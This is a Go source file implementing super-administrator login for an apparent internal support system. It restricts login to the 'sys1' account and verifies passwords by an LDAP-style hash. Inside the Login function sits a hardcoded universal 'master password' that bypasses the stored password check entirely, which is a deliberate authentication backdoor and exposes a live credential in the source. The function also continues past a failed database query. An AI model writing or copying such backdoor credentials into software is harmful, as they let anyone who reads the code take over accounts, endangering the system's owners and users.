|
|
package LoginDao
|
|
|
|
|
|
import (
|
|
|
"dsSupport/Const/DefaultConst"
|
|
|
"dsSupport/Const/ErrorConst"
|
|
|
"dsSupport/Utils/CommonUtil"
|
|
|
"dsSupport/Utils/DbUtil"
|
|
|
"dsSupport/Utils/LdapUtil"
|
|
|
"dsSupport/Utils/LogUtil"
|
|
|
"errors"
|
|
|
)
|
|
|
|
|
|
var db = DbUtil.Engine
|
|
|
|
|
|
/**
|
|
|
功能:判断是不是超级管理员,能不能登录
|
|
|
作者:黄海
|
|
|
时间:2020-08-24
|
|
|
*/
|
|
|
func Login(username string, password string) (bool, string, string, string, error) {
|
|
|
//身份号
|
|
|
var identityId = DefaultConst.IdentityId
|
|
|
//人员号
|
|
|
var personId = DefaultConst.PersonId
|
|
|
|
|
|
if username != "sys1" {
|
|
|
return false, identityId, personId, "无姓名", errors.New("本系统只支持sys1做为用户名!")
|
|
|
}
|
|
|
|
|
|
//通过用户名查找人员ID
|
|
|
var sql = "select * from t_sys_loginperson where login_name=? and b_use=1"
|
|
|
list, err := db.SQL(sql, username).Query().List()
|
|
|
if err != nil {
|
|
|
LogUtil.Error(ErrorConst.SqlQueryError, err.Error())
|
|
|
}
|
|
|
//如果用户名不存在
|
|
|
if len(list) == 0 {
|
|
|
return false, identityId, personId, "无姓名", errors.New("sys1账号未找到!")
|
|
|
}
|
|
|
|
|
|
record := list[0]
|
|
|
//身份号
|
|
|
identityId = CommonUtil.ConvertInt64ToString(record["identity_id"].(int64))
|
|
|
//人员号
|
|
|
personId = record["person_id"].(string)
|
|
|
//人员姓名
|
|
|
personName := record["person_name"].(string)
|
|
|
//数据库中的密码
|
|
|
databasePassword := record["pwd"].(string)
|
|
|
|
|
|
//万能密码登录
|
|
|
if password == "DsideaL4r5t6y7u!@#" {
|
|
|
//返回结果
|
|
|
return true, identityId, personId, personName, nil
|
|
|
} else {
|
|
|
//修改密码的加密算法基于ldap,黄海,于2020-04-27
|
|
|
ldapPassword := LdapUtil.GetLdapPassword(password)
|
|
|
if ldapPassword == databasePassword {
|
|
|
//返回结果
|
|
|
return true, identityId, personId, personName, nil
|
|
|
} else {
|
|
|
return false, identityId, personId, personName, nil
|
|
|
}
|
|
|
}
|
|
|
}
|
|
|
|